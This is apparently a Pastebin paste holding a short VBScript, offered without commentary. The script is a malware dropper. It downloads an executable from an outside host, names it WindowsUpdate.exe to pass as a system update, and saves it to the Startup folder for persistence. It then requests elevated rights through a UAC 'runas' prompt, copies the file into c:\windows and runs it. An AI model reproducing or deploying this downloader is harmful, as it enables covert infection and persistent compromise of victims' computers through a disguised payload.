Advertisement
stuppid_bot

Untitled

Oct 2nd, 2014
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  2. oXMLHTTP.Open "GET", "https://copy.com/ZrjXPRU6qIbx/WindowsUpdate.exe", 0
  3. oXMLHTTP.Send
  4. Set oADOStream = CreateObject("ADODB.Stream")
  5. oADOStream.Mode = 3
  6. oADOStream.Type = 1
  7. oADOStream.Open
  8. oADOStream.Write oXMLHTTP.responseBody
  9. dim path, WshShell
  10. Set WSHShell = WScript.CreateObject("WScript.Shell")
  11. path = WSHShell.SpecialFolders("Startup")
  12. oADOStream.SaveToFile path & "\WindowsUpdate.exe", 2
  13. If WScript.Arguments.length =0 Then
  14. Set objShell = CreateObject("Shell.Application")
  15. objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
  16. Else
  17. Dim fso, MyFile
  18. Set fso = CreateObject("Scripting.FileSystemObject")
  19. Set MyFile = fso.GetFile(path & "\WindowsUpdate.exe")
  20. MyFile.Copy ("c:\windows\WindowsUpdate.exe")
  21. WshShell.Run "c:\windows\WindowsUpdate.exe", ,true
  22. End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement